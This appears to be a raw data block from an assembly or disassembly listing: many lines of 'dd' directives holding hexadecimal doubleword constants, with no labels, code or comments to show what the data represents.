dd 0B09841CFh, 2639A121h, 801426C2h, 4F44743Bh, 2FE8AB33h
dd 0A1C994Ch, 1C2048EFh, 0E197340h, 308128EAh, 0E0D760C8h
dd 45416AEFh, 0EB603891h, 62447E17h, 796308Bh, 5968D58Ah
dd 70C4E939h, 0CCA133D2h, 13104CECh, 67439505h, 0C40C3745h
dd 7A61491Eh, 9EF4A546h, 0B06E0671h, 761C302Eh, 0A4694565h
dd 18334467h, 16A13E77h, 61CEB5A1h, 38933281h, 0CA36508Eh
dd 9F584188h, 7B6104Bh, 14D60583h, 30DB41FDh, 0D32B990Fh
dd 0BCA28129h, 0C082191Ah, 0AC82A72Dh, 0CC87A6CBh, 820948D2h
dd 0B06C06B8h, 0FD6F1910h, 0A4A960DDh, 0C3CF529h, 0A0B4EE2Fh
dd 82065A2h, 0EFF00391h, 0FA00989h, 3090E908h, 41263E1Fh
dd 0A7F93C19h, 851038BCh, 106C1323h, 9AF54006h, 53F21938h
dd 0D00D9042h, 749001AFh, 73CCF7Dh, 2A61844h, 0C6A37E88h
dd 58363EB0h, 283B5C32h, 4F4C6068h, 0F014B078h, 1698980Bh
dd 51E226Fh, 81709020h, 30AC36D4h, 0E098AAA4h, 94F2F31h
dd 0B470A26Dh, 8235CE8h, 3FBCB626h, 7B014ACh, 438AF1B8h
dd 611650F8h, 0C0CDA5Bh, 0E298202Ch, 26BCB05Ah, 0B4F9F8h
dd 4FDA0EB4h, 18C1698Eh, 0AEE0B6DCh, 6880BFF5h, 586167C1h
dd 6005FBD0h, 0E0B09E78h, 0C0F57383h, 986BB298h, 293365E0h
dd 0AFD00411h, 4F50800Eh, 0A8A0BE85h, 18C413E3h, 0F0835C62h
dd 6F207C5Bh, 2A8808F5h
dd 1A64CF05h, 2126E00Bh, 44F656F8h, 0BDC0F872h, 0E5429ED4h
dd 96189890h, 0B450393Ch, 9D56803Eh, 40D0F0C9h, 0C5482100h
dd 599D4A8h, 0F2D8ACh, 430AF8D4h, 8050F4EFh, 0BF7C4EF0h
dd 8906BF0h, 0D0DE6898h, 78BCBE39h, 185DF82Ch, 91C8B70h
dd 3A4A76D5h, 0FC19E007h, 9C6C888h, 1248D99Eh, 2C425FC9h
dd 810C1CD8h, 0D0E3F847h, 303D4856h, 0C677EF05h, 1D387041h
dd 4C247CC8h, 0E798F039h, 9034CF28h, 168F3078h, 0E4A02FB8h
dd 9C318C98h, 0B4FFC01Bh, 88D21894h, 1F33AE17h, 6370B68h
dd 0C121D085h, 64CCCE1Ch, 88C5BCF4h, 0CD37ECFh, 0FC8183Ah
dd 9A2F1861h, 0AB1F08DEh, 1CA65873h, 3404F20h, 762CF44h
dd 10180820h, 19BCF22Fh, 1A303581h, 2E8F6020h, 1254CD54h
dd 0E8804322h, 72C13F1Dh, 18647051h, 340C8094h, 909D0813h
dd 0CAD81238h, 748038Fh, 1BE1405Ch, 0F28EE18Dh, 0DE0E6840h
dd 6BD05063h, 3B182EBAh, 2ABC8A5Ch, 10BE18A8h, 2D3E8C6Fh
dd 0C81B3043h, 0A031FD4Fh, 0B0EC97A4h, 0E2BA3240h, 48C34DF8h
dd 8CAAB4E1h, 894C6C8h, 90C150E6h, 6FC4A04Ch, 0F8CA5060h
dd 18D86620h, 0AF2020E2h, 380F14F4h, 501980ECh, 347720DEh
dd 39C44E94h, 30C16AC4h, 388CFF5Fh, 5B18C351h, 185C8948h
dd 92885E69h, 0A3C4A165h, 7D6F7C60h, 0DFD8A01Ch, 32649091h
dd 0E2A009DDh, 4A2E7C68h, 718F450Bh, 1A1C0540h, 902CC813h
dd 0EA28092Eh, 300143C3h, 0D80BCA16h, 20989E4Fh, 64896E01h
dd 72367861h, 808CC442h, 0CDE02EB8h, 67D89141h, 0C938326h
dd 0A8E8A0C4h, 83885C64h, 80090084h, 58C1CE8h, 28406644h
dd 1DD49233h, 276FEF01h, 4150A852h, 0A0529940h, 1FC88F60h
dd 1B10C299h, 34FC020h, 0AF472FF1h, 302CDAA5h, 58BB883Eh
dd 0FF2474F4h, 0BF70EC63h, 9F8612DDh, 0F6CC05D8h, 8F18800Eh
dd 249022F3h, 8205932h, 0E88848F5h, 26389040h, 0A90FA24h
dd 5F428E0h, 7744AF64h, 17D42370h, 0B48242FAh, 38685E96h
dd 8C523CDh, 95251Ch, 40CAC8C2h, 61F7CF1Ch, 820E20C0h
dd 30D0FDDBh, 4068EDCh, 3A2FDA0Bh, 8210231h, 5CACF45h
dd 9253F5C0h, 1E90DB4Ch, 1B136160h, 3871884Ch, 137833EFh
dd 0E80C3958h, 0F0B0282Fh, 327C92C0h, 0CD102E5Fh, 591CA08Ah
dd 0DC51606Ch, 3084474Dh, 4ACF4830h, 2FDB12BCh, 40C053A8h
dd 5DCA6E34h, 133AEEDDh, 60327849h, 58742886h, 0A8FB6300h
dd 9244138h, 2997D4F5h, 3BEFD403h, 15902437h, 58D82C50h
dd 8D13D39Eh, 8487F53Fh, 16480BABh, 137B06D4h, 28E1BAF3h
dd 50D9763Bh, 0D0B00784h, 0E0064F24h, 0BC026F0Ah, 1639CF04h
dd 588748D4h, 60C00D84h, 1665F16Fh, 185B861h, 68E578B8h
dd 4944B42h, 6103BE29h, 7316E0D0h, 5058B09Ch, 25AF9006h
dd 0A4967454h, 0E9B8C804h, 0A491D45Ch, 9C30CE94h, 4C149A23h
dd 4F1F38C8h, 0CECE44Dh, 8080657h, 5FE8CC50h, 13083B66h
dd 0B0AF7B10h, 1B8F0390h, 26EEE0BEh, 0FA31787Ch, 880E8815h
dd 5049CFE0h, 0B0C8D8B4h, 3B2F1918h, 701E7810h, 55C2E00h
dd 34181328h, 318234C3h, 0EE080219h, 2FF42039h, 449F4324h
dd 0EF284E18h, 3F1F0927h, 0E883326Fh, 916D238h, 480BAE77h
dd 0A96CAF5Ah, 1CF08445h, 0C02F5492h, 92ED6F08h, 0D1C83208h
dd 40C1A2F8h, 2073F98Fh, 0D8A09BF0h, 9498620Fh, 10B869F8h
dd 74C888D4h, 10DCE34Dh, 8110EC29h, 204922C6h, 0F920C5D7h
dd 0C32520C8h, 70813574h, 84AF7084h, 0D2D8C2EEh, 2E4F4060h
dd 0BF7093E7h, 0C2FE40Eh, 987D9046h, 0B4CF2E60h, 0E4E8C34h
dd 0A630F88h, 36522BC8h, 0D0082638h, 0CA981662h, 0CF910213h
dd 605B7B02h, 90784D64h, 708B61C4h, 0D479C72Fh, 0F5502D8Fh
dd 1E63AC88h, 315A3D10h, 0CF680130h, 0E02461C9h, 28CB2574h
dd 0EF0C0420h, 807E9CC8h, 0ED50736Fh, 0AE5C11A8h, 90967DC4h
dd 85B1A018h, 5448481Ch, 0BD4FC1B7h, 0D670249Eh, 0DC120516h
dd 7F660C2Ch, 0D578205Eh, 48ABF624h, 0A5110F0Bh, 0C402C91Ch
dd 0E122BCAFh, 1C202C60h, 6139248Fh, 1C281314h, 40E28A74h
dd 913A0C9Ch, 0E94C3CD8h, 0C9878ECh, 1A80C0A5h, 0A8F5F392h
dd 4ABC9831h, 36C0DB1h, 0C7D42280h, 9A11F9D5h, 6C30DEEAh
dd 13A0BAD0h, 2C407831h, 0B004F43Ch, 32BB553Ch, 28A6530Bh
dd 4C98D08Ch, 0AFEFE0CBh, 0A6149C90h, 0EC2318B0h, 90368AF0h
dd 887E5434h, 20109A8Ch, 0A33C13E3h, 0BDD809F2h, 19140372h
dd 0FD6024FCh, 0AD2E3C78h, 30AF0908h, 0A046428h, 17A4A80Fh
dd 0DF5446BFh, 872490C7h, 330C60EBh, 65CD0855h, 0D36818CAh
dd 280C183Ch, 40928E4Fh, 1918D329h, 286721BCh, 0C07F3770h
dd 7887C6C4h, 0DCC744Fh, 904A586Fh, 0D4405DCDh, 18430E6Ah
dd 88B7B92Fh, 0F8A0800Bh, 0A8CAB5E9h, 0F06E009h, 0E878CD72h
dd 0C02CB9BAh, 0A31C0B36h, 76E41D50h, 2F0470F1h, 8FF9E30h
dd 0B1DB811Eh, 0AA0A60ECh, 0DD50293Dh, 2A4A16E8h, 77C26404h
dd 9EB60C0h, 8FECA13Fh, 43B0C028h, 3B4981B6h, 4361620h
dd 5360104Eh, 0F8BF7C07h, 5CB2D864h, 5DA3C79Dh, 8C02A91Bh
dd 0C583BD0h, 0EE488898h, 3B8AA024h, 1A1130A2h, 0D49CF630h
dd 743984A0h, 0BD3D6CA5h, 63609640h, 0B696C00Fh, 38E70C4Ch
dd 18AB5CCFh, 9D770F0Bh, 3B9644C5h, 0A1F70A0Bh, 0D906B6D4h
dd 0D839863h, 29BE1745h, 0D2655671h, 1C808C68h, 0B4C4986Fh
dd 0B00F5840h, 85E2440Ah, 4F0AD8D2h, 9370EC23h, 4440E980h
dd 0B9197116h, 39A3C0A0h, 5A60F213h, 9480BDF0h, 66C41F78h
dd 75640043h, 50F996FCh, 16F3D800h, 5D4188CFh, 7BA307D5h
dd 4AB4A944h, 2AEEE018h, 73009B5Fh, 0D57D4184h, 15651706h
dd 141092B4h, 11712E00h, 41816B40h, 247F1D29h, 0FD1868A8h
dd 3D209E7Eh, 7BBA020Ch, 11D9E7E4h, 97D14A0h, 684035FDh
dd 0D92D01DDh, 3DAE2514h, 545DD017h, 5A247C14h, 626FC130h
dd 0E2B9D3h, 121E97FDh, 91AB4403h, 1F5FC413h, 7CD18540h
dd 8D78418h, 57C0244h, 64B74500h, 9A37E479h, 0DD241878h
dd 0D63F10DFh, 0F0CFF8F9h, 0F23C5CF1h, 7D348108h, 0CD9D0677h
dd 0F3336808h, 18F5B03Fh, 50D3E211h, 0A4E8BF32h, 7B3C9D1Dh
dd 0D4A5270Ah, 0C40D283Bh, 80C14971h, 47C58AEh, 2750A44Ah
dd 0AF4A37Bh, 0DD07BD70h, 0C8841990h, 5A84AE5h, 3B6A6171h
dd 7B5DCC43h, 0ADF02802h, 0F8C55688h, 0A490A500h, 39A6C481h
dd 3AEB5103h, 0A0C73B67h, 0F77ED3h, 0D6F9C85Ah, 74934E90h
dd 56629E00h, 50AF1AEBh, 317A01C4h, 895AC5D1h, 26184847h
dd 986D0508h, 9DFA0069h, 0C35AD80Ah, 0BAF8C606h, 0EE404AF1h
dd 5BF7C5Eh, 1A80D347h, 403C3325h, 0C48F24B9h, 0DA00EB54h
dd 9AD91125h, 0C473A7h, 0BE401EBAh, 0BF74367Ah, 0F4571A05h
dd 5484DA80h, 0FAE82421h, 0C1E7FDE8h, 104CBAE8h, 4CDFE9D9h
dd 3D00535Ch, 40CCA766h, 654A9AEAh, 30D77067h, 65E01A4Ch
dd 1F988B20h, 15FE3E7Ah, 3A8714BAh, 58297261h, 1F92848Fh
dd 81502B8Bh, 0D909379Eh, 0C487EAC4h, 0AC940FFEh, 0BEBD93B0h
dd 0C8968331h, 28A3311Ah, 3B848164h, 5072AFE4h, 0DB359EC0h
dd 0A0650AEh, 0D2DDFB69h, 74DA3050h, 0FFD73AF0h, 1FFED0D7h
dd 0F8221499h, 279B3A78h, 0A144FA07h, 0B8AE41BFh, 50405CBEh
dd 6CED180Ah, 0BA02909Ch, 0B9D9E921h, 4F47F68h, 9AA04016h
dd 3ACC5550h, 7A689760h
dd 0AEF7B958h, 9AA81C30h, 0E0405889h, 1366C37Ah, 8E98F260h
dd 2E150574h, 42415288h, 0C47ACFC4h, 84BD3845h, 0DDD50B8Ah
dd 93178890h, 428AED8h, 9AD5E4EAh, 81A0106h, 0A6E1F7BAh
dd 745C0FD9h, 40580ECCh, 0E7E01579h, 0BF73B0FAh, 9BBDDA1Dh
dd 4281182Bh, 0A37EC5FAh, 53DAE7FCh, 7603103Dh, 7306B496h
dd 74BA8014h, 695A1BD8h, 71E0C088h, 6F9A1DBFh, 58382494h
dd 9D39AB40h, 9A60E1E1h, 0D04EEE42h, 23DB3306h, 7A2429DFh
dd 0F0300860h, 48BAD9FEh, 3A0AE48Eh, 7D8247Eh, 0C7BE3B68h
dd 0F841A25h, 3A032AE5h, 2CE5BC8Fh, 3D0D03A4h, 60ADE9B9h
dd 3080FBF1h, 0F27C57Ah, 80E044BAh, 35DFA01h, 0F08E1A83h
dd 0D1427AE0h, 29C05810h, 5B4805Fh, 9E3AB4A0h, 0F5AA0C1h
dd 2422BF5Ch, 230396CEh, 30121099h, 705CC91Ah, 3F9CAFD4h
dd 7A2974C8h, 0CD825C26h, 0A14659F2h, 2791FA8Ch, 5D802823h
dd 0ADCF81CAh, 0D583E4A7h, 0EA9EDB8h, 42C7BA81h, 0C0C05455h
dd 0AAAF5F32h, 0CA3DD8A8h, 0B6BA8007h, 0A8850CFFh, 463A8802h
dd 5749497h, 3C2CC272h, 0F4E442A2h, 0A096BE23h, 74D7A204h
dd 11F0B9Dh, 7A0F28B4h, 3AD030CEh, 83024702h, 9C9B4CDAh
dd 0D2553B8Ch, 3AF1C372h, 0CBAC49E8h, 6E941CA0h, 0CE759945h
dd 817BC09h, 3B58A088h, 0B4C10A71h, 5B4D2AFh, 7080EECBh
dd 5062205Ch, 50765433h, 8E28F6DAh, 74E60E3Ch, 4304F24h
dd 0BEB405BAh, 421E292Ch, 28F11507h, 82CE399Ah, 0E2F344B8h
dd 0C0183359h, 0C4F53EE8h, 84467A81h, 8108184h, 3944B82h
dd 0F8756BF6h, 4C307C07h, 0BC4CA46Ch, 6FCECFB0h, 3A59F862h
dd 0FC186BA6h, 9E69A891h, 60B1F841h, 1405C84Eh, 90F6884Eh
dd 0B9271A40h, 6CDABE12h, 0C7382511h, 0DF47DDC1h, 0FA44023Bh
dd 914960Eh, 376F9738h, 47DAA8A3h, 3C4580DAh, 8D9D6F81h
dd 0BC648EFFh, 2772000Eh, 6E1340C0h, 760044E1h, 3DA8160Ch
dd 74EC5B43h, 1E217BD8h, 0A94027FEh, 0DF458114h, 3D4858h
dd 21F72101h, 1B402027h, 4102DA9Dh, 131CF0D3h, 54C02601h
dd 0DC6027F2h, 4470C5CBh, 205C5D71h, 0C110BC3Ah, 0BB58F4BDh
dd 0F1B83063h, 0C94B400Ah, 94821C6Fh, 20543738h, 2B80A3A1h
dd 0C8524CE4h, 8B500014h, 60E252DBh, 10813D7Fh, 0CE202607h
dd 3E0428Fh, 0E6831898h, 0C0A9753Eh, 0C8D72961h, 0A98EC0A0h
dd 1B03825Eh, 26417F5Fh, 2E503028h, 1F63C008h, 19EFC0F5h
dd 876F70C7h, 9AE164CAh, 8BE81297h, 75CEB058h, 5E28C691h
dd 2C634088h, 1FADA0B0h, 58E7609h, 2819E880h, 87155960h
dd 0CC498D7h, 80D49101h, 98D163B4h, 2CC5823Fh, 0F1A0E7F4h
dd 0E0A9D066h, 20C0406Dh, 211E7DD2h, 18299EADh, 31CEE00h
dd 0A093A52h, 0CF8417F9h, 9E51894h, 2B5178A4h, 6C040C08h
dd 1492E10Ah, 0E9F60C11h, 3100305Bh, 0CAEC965h, 513AD46h
dd 0C5078DEFh, 6BD122BCh, 198247C7h, 0BF8B7201h, 10CB8802h
dd 18A02395h, 2184C610h, 791570FDh, 42F1380Ch, 38038408h
dd 2A3C7995h, 6D210C40h, 0D1E31F20h, 21751079h, 7DE8E28Eh
dd 1448A995h, 4182915h, 8133725Dh, 23E1D404h, 0C05FDD1h
dd 181D2527h, 53F61970h, 949F0541h, 1BF7A97h, 0A0DB0EE5h
dd 0E5642413h, 3C91D900h, 0A6291B97h, 0B2801E22h, 0B8287Fh
dd 7748DB13h, 73899D30h, 55839100h, 0EEE5C16Dh, 47E705F0h
dd 0E33E9Ch, 911A6AC8h, 0BC00ADD5h, 36AAC83Ch, 45DAFAh
dd 0D7B143A5h, 6CF4DCE6h, 2007CA76h, 8ED1F8B2h, 0D948C14Eh
dd 79F88926h, 0DE8A0092h, 5F6BA865h, 5115D706h, 34C8188h
dd 8476DE9Ah, 59E0C095h, 86E50EBAh, 0ADAA63CAh, 5B93809Ch
dd 6EDF1AA7h, 59327000h, 969AA625h, 0C0210355h, 0BA60EA8Ah
dd 3F31D0F0h, 17012C90h, 0D90B0946h, 1C5C7FAAh, 0C0C143D3h
dd 0FCB41694h, 9D100A4h, 0A88B2C72h, 30A7A9Bh, 0C0E5502Bh
dd 1020D7F9h, 0BD2E1FA6h, 0D1A3C09Fh, 44233F6Bh, 738D29C0h
dd 3C77EB8h, 3E344CB0h, 6CA0D86Bh, 63003853h, 0E5C4B4D9h
dd 0A460DAA2h, 9CB0005Ch, 31EDDC0Fh, 901E4D46h, 88075805h
dd 0D7611C5Fh, 30D43661h, 0A0A87EF5h, 267C54ACh, 28C188Eh
dd 0CEBEC031h, 38A3C040h, 519B7512h, 20DC300Eh, 1C76BF48h
dd 0F2401863h, 0C96729ABh, 5D204FE6h, 0D65702FBh, 2434E81Fh
dd 5608589Dh, 2714D64Eh, 0A04C4FB5h, 4CC9D6A9h, 0EC00E86Ch
dd 0BCBAD773h, 0CE04215h, 0C74FB4A0h, 0F90BEA04h, 38817A59h
dd 40345352h, 48311D7Fh, 0A6640FB9h, 0BEF43118h, 2A55B600h
dd 521F9F50h, 53B201FFh, 6771B459h, 87426C7h, 5E8A6AFDh
dd 1276BC1Eh, 3856A700h, 78ABBF23h, 0D30619E7h, 0F56580C6h
dd 0E5CC206Eh, 30B66A40h, 0B44095EBh, 940665ECh, 0C3E3599Fh
dd 0E0A60030h, 6341D89h, 0DEE6A36Ah, 407BACA5h, 1CDAFA98h
dd 4DBE5A6h, 8AB8B353h, 0B5BE0E94h, 91ACC032h, 0EDE667h
dd 0C98C44A3h, 589F7FF1h, 9D002DE4h, 8713C8EFh, 60B5EC57h
dd 7B446827h, 4500C9EDh, 92F499FEh, 6F93E9Fh, 8E1F2818h
dd 8DD9A0Eh, 0DF9AE540h, 38D435h, 7AAA770h, 8D2BE17Ch
dd 0E779BC05h, 69FCF1B5h, 0CD184F01h, 0ECE10394h, 951ECC53h
dd 0DBC07C74h, 0F887223h, 0BF1100C5h, 5E935D59h, 18E04B17h
dd 230EE479h, 4C0F16D3h, 7BCC3031h, 8F963374h, 4F88C88h
dd 3D000583h, 7AB1E665h, 7AD2B621h, 7E4F1497h, 20808490h
dd 118D30B8h, 0EA007578h, 0FC9B81C0h, 52097Bh, 1CCE4272h
dd 19E1065Ch, 0D3449900h, 0B9129397h, 2390064h, 0D32620Eh
dd 8C3EFE83h, 81E981E8h, 805FEA21h, 90E3E6CDh, 35ECE47h
dd 0BC949945h, 0C0CF194Ch, 0BEE51C8Ah, 0E207EAF8h, 3C3E80B9h
dd 0FD971890h, 4DA20054h, 15D02A1Ch, 8F073AC4h, 0B14E482Fh
dd 8B4F1E40h, 39877E2h, 330378D2h, 0E9E836D0h, 1207F405h
dd 9A068144h, 0B64143B0h, 0ACB4009Ch, 1A8E9210h, 7A01C218h
dd 0CE466665h, 0EBD0F7FEh, 0C4C60006h, 0B259D66Bh, 6703C8D2h
dd 8F4B5217h, 0E02CB0AFh, 0FDAD07B7h, 405318EDh, 0CB7A6982h
dd 3485900h, 5EADA4Ah, 0BE3000E8h, 0B9E014AFh, 0B10F858Dh
dd 0E17E04DCh, 5A13B3FCh, 779D25E4h, 72FAE3h, 0CAE8638Ch
dd 928BC009h, 6A80A00h, 7A4E1078h, 0A9AF1CA0h, 0CC1E5D96h
dd 4630B95Dh, 6F0A7619h, 0B2401270h, 75FDEF0h, 7B183BEBh
dd 8089650Bh, 0B6338186h, 0D0DAAC05h, 8028678Fh, 750A40F0h
dd 5BC144A5h, 78BA040Bh, 761B086h, 256E0F7h, 74B91CC4h
dd 5BEE906Ah, 0C9C0A406h, 9207E9Ch, 0CEA85C91h, 2111D18Dh
dd 2C5DC4E3h, 0FC0611C5h, 1154CF0Dh, 0A8EFC4ECh, 10BD3710h
dd 18324AF0h, 3D79BB04h, 8D380373h, 67DBFDD2h, 7ABF0AF8h
dd 0A70946FCh, 2A97D168h, 35863040h, 0D00A6Bh, 65A176EDh
dd 859C6980h, 0D8CABC33h, 0F89E39E6h, 9C420514h, 4AB6A502h
dd 0C0A0F3AFh, 0EA522DA0h, 75D7600h, 343573D3h, 9F190489h
dd 88E26385h, 0ACA0E400h, 0C9C36B48h, 3D59D28Ah, 0BC817E40h
dd 4C285BF9h, 151AD852h, 0E45E322Ah, 0FED2F000h, 62A4C677h
dd 0A182A013h, 0B89F01DFh, 0CA9C9A92h, 0CE4AF0F1h, 51CC3C00h
dd 0F4C5620Ah, 0F83EF049h, 73F095h, 0F6C31EC4h, 81016F79h
dd 0BF084568h, 0C5A5830h, 193E0D0h, 0C4EEFBA6h, 0EF61C544h
dd 3F912100h, 0F314E54h, 28F32D95h, 5E3A87F0h, 5813800Bh
dd 46B264A2h, 0DF0600C9h
dd 7C3D4CF2h, 7F79E551h, 0C79C2801h, 0ED415F9h, 3F5F7D0h
dd 1F1380A4h, 0C0005982h, 9F3CC295h, 74BE1B1h, 97DC0A9Ah
dd 0C9A4468Ch, 0A1248300h, 1D2A3B50h, 34B303FDh, 17028F75h
dd 84B0C79Bh, 61610ED9h, 3DDDA51h, 0FA528040h, 6DB60098h
dd 2420E2C7h, 30002BA2h, 46BC7C67h, 603D51D1h, 0FDF33856h
dd 0D703187Bh, 0F6421F62h, 88AEABBEh, 70373A4Bh, 0F7C10099h
dd 40517B1Eh, 0CB347447h, 0AE6802h, 6D384E1Fh, 0D70EDD50h
dd 868DE008h, 9820D184h, 4D1C00D0h, 6DB18280h, 98F858B8h
dd 341889E0h, 0E37803B5h, 30E56056h, 5083354Ah, 0A35BB101h
dd 97F9E137h, 0FFB008B9h, 50B95520h, 1571CA01h, 3E708B26h
dd 0C78080D6h, 0C175B0F2h, 0F41101A8h, 7F9040BDh, 1701B713h
dd 5763AA8Eh, 6560DA7Ah, 0A97C0E9Ch, 0E0A0EC83h, 50F9A52Ch
dd 0F5C49B0Fh, 490EE10Dh, 58E57069h, 9E29EDFCh, 0A1610058h
dd 6E54D404h, 5BAEC00h, 0B95F216Fh, 0B24107F5h, 159F473h
dd 0D4E60CFFh, 0A101EADEh, 0FAC215BFh, 0B7DCE1F6h, 0BE50065h
dd 0B8EC7287h, 0E25C091Ch, 0EEBD07FDh, 6BC09B5Ch, 5A311Dh
dd 0B48025E5h, 0C1146E20h, 52EC60E4h, 0A358FD09h, 39A4004Fh
dd 0F093EEB2h, 74440059h, 0FF13C7E8h, 5A3CC5A8h, 0F4E6032Fh
dd 47CC6B8Fh, 34FC0418h, 504CD200h, 3FFE1BCBh, 2827009Dh
dd 0CA7AA31h, 54305B8Eh, 0A52B30FBh, 13C63FA3h, 0AD817807h
dd 4582C1C2h, 3418A3C4h, 0FCADE56Fh, 0DE0C4C2Ah, 9F320D24h
dd 95E8EA00h, 499EF048h, 3F371DF5h, 7A2282C3h, 0C874A2Ah
dd 3441D8F7h, 2B12EFF6h, 445418A5h, 21352324h, 0F08AFC9h
dd 52630CA9h, 0F919FB30h, 0A4071852h, 33315B0Ch, 42740836h
dd 30172A43h, 15A32821h, 0AD10181Fh, 680B8804h, 0C28D6024h
dd 91E660FFh, 262E2B01h, 7B659448h, 19860C42h, 42570C91h
dd 887D2122h, 144233Ah, 2D8CD730h, 847AED88h, 18297028h
dd 385E5944h, 88A2365Ch, 0BDE75818h, 84CA3A19h, 3EC2F420h
dd 8F802CACh, 9E0A7C46h, 0C00174A9h, 39A3451Dh, 70D05562h
dd 96D80054h, 0B6C873BBh, 0A800326Fh, 49A6D79h, 4BFDCAh
dd 3CCB3530h, 0C11274AAh, 0B5E8B00Ch, 2AD7A01Ch, 3E984E88h
dd 6120F835h, 0E9783900h, 84B576Eh, 0FD120777h, 0C3E23F52h
dd 0A000E8B6h, 0BE1715F5h, 7AC3E0Ah, 3D1FA99Dh, 6FB87154h
dd 0B21A306Dh, 0B18A8C0h, 30C15669h, 6B884653h, 1A297D95h
dd 74501CBDh, 435B09FAh, 0BC86D6F2h, 3000B087h, 0DEB165Ch
dd 30246EF6h, 59883D46h, 2BE2F15Fh, 9670E30Ch, 72F5839h
dd 9887EB74h, 116450B5h, 0F1018CBBh, 4014891h, 0C8574A79h
dd 24DF8FC0h, 50AB60AEh, 831F3E4Fh, 0BFB1480Ah, 65001478h
dd 0F9F1F027h, 983D371Eh, 0A9859069h, 0BA00B97Dh, 362705AFh
dd 93E0BFh, 3B12802Fh, 9A52C738h, 3FF6A93Fh, 3DAC1F6Ah
dd 47EFA287h, 9953CF40h, 32661C5Dh, 0C1F1C261h, 9C833D13h
dd 0EEA3240Bh, 0C5EB9800h, 7066771Ah, 2C0300FEh, 1C57E1F5h
dd 5000127Fh, 77446C1Eh, 1FCB42DBh, 67EE3A3h, 0D16ABF5Ch
dd 7049DF07h, 0D53F7FE0h, 0AF31C040h, 504E693Fh, 0EA5C8B3h
dd 6ACCB456h, 398C46C0h, 7C029ED1h, 0F665D02Bh, 0FC0AE6Bh
dd 348E00D9h, 54419E13h, 3003F429h, 0EE8907C3h, 10035477h
dd 0CB55B14Dh, 0E0190043h, 47D2C591h, 6C245036h, 0CA067CE8h
dd 6D831D6h, 0F84F06E0h, 23B18A3h, 70BD3C18h, 144EEC0Ch
dd 57AB319Eh, 86078430h, 63206272h, 28000710h, 0E2A6B246h
dd 18DD4216h, 0A8F1C041h, 18904B64h, 9C377B19h, 7C23BF50h
dd 1326004h, 0A0948731h, 0BCB0FA2Ah, 27F52006h, 14186203h
dd 88DE2476h, 83BE0784h, 8C885048h, 0C21251E2h, 0C803B6BBh
dd 509734EEh, 0E8B22540h, 0A8E9507Ch, 0D6E224AAh, 548C008Bh
dd 0C284AF69h, 51E39300h, 90F6EDCBh, 0FB3528A3h, 48241880h
dd 0D35938C9h, 0EB9E1200h, 8EB9E815h, 8D50EA6h, 0F380195Bh
dd 65CB5260h, 5929BE60h, 26F2133Fh, 1343BF2Bh, 44052CFh
dd 7CEAA08h, 2F707550h, 24543DAh, 3B0A6D7Ch, 9081389Ch
dd 8A1BFD8Ch, 0D09D02D0h, 0C74D414h, 0B01ED03Bh, 0ACF40A93h
dd 0EF30CE50h, 30A9D802h, 8041F738h, 652870EBh, 48A098B4h
dd 224C7E7Ah, 0DC421D10h, 45CEB0Eh, 489066DEh, 0E00AE6B8h
dd 9A5F264Fh, 0DBE38F9Ch, 3AC02DAEh, 0A3A7570Ch, 106A2A26h
dd 83925640h, 0B41601A6h, 0B9EDD060h, 12A841D5h, 1E642041h
dd 28A7EC28h, 0BE0EE3E0h, 94DDF211h, 0A640399Dh, 35602405h
dd 3F1A9BB7h, 0C43F538Fh, 50B8E80h, 3F07833Bh, 8739E370h
dd 41BC005Ah, 4603E263h, 25152667h, 0C144708Ch, 2660520h
dd 7B6A31E3h, 50459A56h, 4013A603h, 0C89CE991h, 7005833h
dd 44DBB359h, 80C010D7h, 459D9C30h, 99310180h, 36D51A27h
dd 0C421CDh, 55B0BF94h, 0EC63C900h, 6EFF46E3h, 0B90916E0h
dd 0DB486005h, 550165EAh, 2A3E622Ch, 2464FAA5h, 59EE77BDh
dd 9C16608Ch, 0BF4443F3h, 0B103B713h, 0DEC603F5h, 8FE80110h
dd 0E6ABC99Ah, 0DBEC41BEh, 3A403283h, 8A5487CBh, 2F690D96h
dd 25A840A0h, 38556344h, 0D7163C93h, 0A610006Dh, 0E2014566h
dd 0DF31D978h, 1A2031A9h, 3CB51810h, 0F768BC60h, 60656D07h
dd 6C3F2981h, 34907F2Ah, 9C00FE75h, 14572ED5h, 0A0BFAC54h
dd 338ECD0h, 0B8E4F26Bh, 4BE043A8h, 0E0096D0Fh, 8380A322h
dd 46CA507h, 6116C811h, 30B57272h, 15098AAEh, 801D3B2Ch
dd 0FC61D05Eh, 0ECA8034Fh, 0DDE446F9h, 78C23000h, 0D1E88944h
dd 2B620004h, 5C8359C4h, 2313B43Dh, 0EF5BE9h, 47FF9900h
dd 69CADA39h, 0BE2004DBh, 0EA3E8306h, 0E18230Ah, 2F1B4866h
dd 4B403B40h, 0FC00D9AFh, 0FBBEF5F4h, 0C5DCAED4h, 80FF1B81h
dd 822223CBh, 0C3E9B900h, 3EAF3ACBh, 6D7302h, 0FCAE9D7Dh
dd 6EF5DC11h, 0CC14160Fh, 338C25A1h, 59704400h, 2DA8DDh
dd 6D2E4D03h, 0D42315DEh, 18FCAA3Dh, 20B1A149h, 62F00028h
dd 830C0613h, 0B400D225h, 584D08F2h, 60C9E076h, 655BC80Bh
dd 6914D9D1h, 285A36h, 0D6A9BE60h, 6FF81E0h, 57EFD38h
dd 0B30110D7h, 204DD36Ah, 58D815CEh, 301C5499h, 0F995E937h
dd 0EE384845h, 0B5E24FFh, 0E474040Ch, 4781C0D7h, 1E009A04h
dd 9F80D437h, 0DDA66h, 0C3963AFDh, 68D34278h, 0E0CDFF0Fh
dd 0A40DEE8h, 0FA939AE4h, 1C7A0Dh, 0F0A22E8Fh, 6651BE3Eh
dd 0FD13B603h, 8070ABC8h, 0A84167h, 5A4B9946h, 0FCC2A1Fh
dd 8DDE4500h, 16E62DEBh, 0EF1A00D4h, 0F47FA472h, 89C059F9h
dd 68709951h, 6225070Eh, 3FDC249Ch, 90E0AA4Eh, 669AE2D9h
dd 317CF930h, 1687328h, 0DCC6C521h, 96048A0Ah, 0A904A918h
dd 0FA7555h, 619A37EAh, 1400A076h, 1A6FE08Ah, 0F8A9E3ABh
dd 0E56D03DBh, 0E882C898h, 0BDCC1400h, 92CE1DCBh, 0F4AD00D7h
dd 3E3A0106h, 4C02E98Ah, 0ADB1A9Fh, 5049EA0h, 37A258F0h
dd 93E1C05Eh, 54001F30h, 900F8412h, 0DF8056h, 0C14C3DC3h
dd 768B6ABh, 448D4100h, 0FACF908Eh, 0C65403E4h, 0D289E26Ch
dd 30BF0818h, 1D15CD20h, 4011178Dh, 0ED941A13h, 0E7007EA7h
dd 4DFF57A0h, 0CC5DD2h, 0EE442EB0h, 7F52BEAFh, 0EC7DB2FEh
